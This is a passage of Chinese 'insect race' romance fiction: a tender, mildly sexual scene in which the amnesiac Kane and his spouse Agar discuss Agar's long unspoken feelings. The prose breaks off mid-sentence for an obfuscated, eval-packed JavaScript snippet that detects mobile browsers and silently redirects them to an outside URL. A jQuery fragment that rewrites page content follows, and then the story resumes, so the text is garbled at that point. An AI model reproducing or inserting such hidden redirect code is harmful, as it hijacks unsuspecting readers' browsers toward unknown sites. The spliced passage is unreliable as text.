凯恩用力抱住阿加尔,和他深深吻了片刻。
“阿加尔。”唇舌分开,凯恩念着他的名字,毫不掩饰地叹了口气。“你没必要现在又来这么说。会让我觉得当初我觉醒期难得的正直很没必要。”
阿加尔稍稍想象了一下,觉得小腹一时有点发紧。而凯恩的手还搁在他背后,一寸寸滑落到他那对分明的腰窝。
“当雌侍有什么好的?”凯恩又说。“当我的雌侍算什么很好的选择吗,我还要考虑会不会被你觊觎这个角色?”
-
看起来凯恩对他自己的魅力有很大的误解。
阿加尔有一点诧异,但仔细一想似乎又是意料之中的事情。
成为雌侍当然算不上一件好事,甚至可以说前途暗淡毫无希望可言。
但在那个时候,成为凯恩的雌侍还有一重意义,是“成为凯恩身边唯一的雌虫”。
不过这个好像也没必要讲给凯恩听了。毕竟他已经是凯恩的雌君,再讨论什么雌侍的角色也没必要。
他吞咽了一下,才回答凯恩的话。“我能这么说,当然也是考虑过的。”
-
凯恩一搭没一搭地按着他腰后的皮肤,手掌还残留了香草味的香气,气氛宁静,似乎也很适合说点看似调情的真心话。
“读书的时候,几乎什么都没有。想要拥有您也觉得配不上。……即使侥幸因为匹配度留在您身边,也不免心虚。”
阿加尔放任自己又滑入了某些幻想。
如果在学院里就成为凯恩的伴侣的话……大概只能尝试用身体留住他了。
但凯恩又并不对雌虫们的身体表现出什么兴趣。他只会把雌虫当成注定面对的对手,而不是值得欣赏把玩的对象。从这种意义上想,阿加尔觉得自己没办法留住他。
-
如果凯恩是看重那些的雄虫,阿加尔根本不可能为他心动,甚至考虑到这些现实问题。
但凯恩不看重那些……他又没有其他可以打动凯恩的东西。
在缺乏其他可能和凯恩建立联系的情况下,阿加尔只能选择通过和凯恩较劲来让凯恩注意到自己。
同级都知道阿加尔和凯恩水火不容。喜欢和雄虫较劲的雌虫也不能说完全没有,但像阿加尔这样持续的是唯一一个。
凯恩就是这样特别的雄虫,他也值得阿加尔持续的认真的对待。
并不是故意想和凯恩当死对头。
-
“觉醒期……对您的心思就更不敢提了。”
阿加尔深深吸了口气,好像表白的话也难以启齿。
“不想让您觉得我图谋不轨,对我反感。您要是拒绝我……我连雌侍都当不上。”
“毕竟您继续和我在学业上较劲,我知道您在看着我,心里多少有点指望。”
其实这些事情阿加尔猜测凯恩以前心里未必不知道,只是他们各自不提,算得上心照不宣。
但凯恩此刻失忆了,谈起这些好像有了某种意义上的缘由,比如“帮雄主回忆过去”之类,并不是单纯的直接坦白暗恋心思。
-
原来是被阿加尔暗恋已久,凯恩想。
他一时觉得有点好笑,但阿加尔就在身侧,伸手就能触碰到他,伸开手臂就能把他拥进怀里。也许是太过于习惯这种状态,他居然觉得这种暗恋是理所当然存在的。
那么,以前自己知道吗?凯恩又想。
也许有所猜测,但说出来就显得好自恋,所以也没有和阿加尔证实过。
直到阿加尔自己说出来。
-
阿加尔的思绪被凯恩的动作打断了。
“别遗憾。”凯恩勾了勾唇角。他主动贴近阿加尔,以便彼此感知到对方的体温。
“刚度过觉醒期的时候还小……什么都不懂。”
凯恩听起来好像在说感情,又像在说其他的东西。
-
分明应该是很熟悉的事情,阿加尔却又感到陌生的灼热,让他又焦躁又渴望,想得到更多,又说不出来到底想得到什么。
视线模糊片刻又清晰。雌虫呜咽了一声,脊背绷紧,小幅度颤了颤,虫纹泛出带着热度的金色。
凯恩近似于他的依靠。他放松身体,任由自己靠在凯恩怀里。
-
“和觉醒期不一样。现在的我们能这么快乐。对不对?阿加尔。”
凯恩说话的时候叼住阿加尔的耳垂,顺应自己心意地来回咬了咬。
香草味的香气弥漫在四周。耳垂滚烫而柔软,和凯恩之前想象的一样。而阿加尔似乎感知颇为敏感,此刻轻轻抖动了一下,是无意识
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285860|198432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地在他面前示弱了。
-
其实现在也不能算是做到用身体留住他了,阿加尔有点遗憾地想。
毕竟凯恩想要的话,他当然可以拥有很多选择。更年轻的,身体线条更结实漂亮的,更会取悦他的,在物质条件或者享乐品味上和他更合得来的。
阿加尔在这些方面当然算不上差,但他也不敢说自己一定是独一无二的那个。
太想得到凯恩就是这样的。会担心会患得患失会持续觉得自己不够好。
“至少现在……不像那时候一样身无长物。”
阿加尔的声音似乎还含着点难言的沙哑。
“能取悦您是一方面。还有就是,也想尽可能把我能提供的都给您。”
-
“我选伴侣不看那些。”凯恩的否认和落在某处柔软上的脆响一样利索。
凯恩没想到阿加尔的观念竟然如此传统,信奉雌虫应当对雄虫奉上一切的那种类型。
他一直以为阿加尔是那种一边抗拒传统婚姻观念一边又不得不遵守的那种雌虫。毕竟他宁愿去雄保会也不向雄主求助。
没生气,也不是惩罚,只是顺手的提醒。
-
“嗯。但我需要用那些您觉得是身外之物的物质条件或者虚名来向您证明自己。”阿加尔声音微微发哑。“毕竟我不是您挑选的伴侣。我只是靠自己……”
他说完“靠自己”又觉得不对,闭了下眼睛又睁开看凯恩。凯恩看起来不置可否,也不知道还有没有关于当初婚姻匹配的记忆。
“……我的意思是说,我一直担心成为您的伴侣会让您困扰。我希望我作为您的伴侣不比其他任何雌虫差。”
-
“不是我挑选的伴侣。”凯恩重复了一遍。
关于新婚的记忆在脑海里来回闪动,从支离破碎的画面连接成为一个完整的片段。凯恩露出了然的神情。
“不用想太多,阿加尔。”手掌抚上雌虫窄紧的腰侧,凯恩说得有点含糊,像是有点不好意思却还打算说出来。
“虽然之前没考虑过拥有伴侣……但被你挑选倒也不坏。”
这是一句分明的调侃。凯恩故意要这么说,显得好像自己处在弱势方。
“所以阿加尔上将。我是能让你满意的雄主吗?”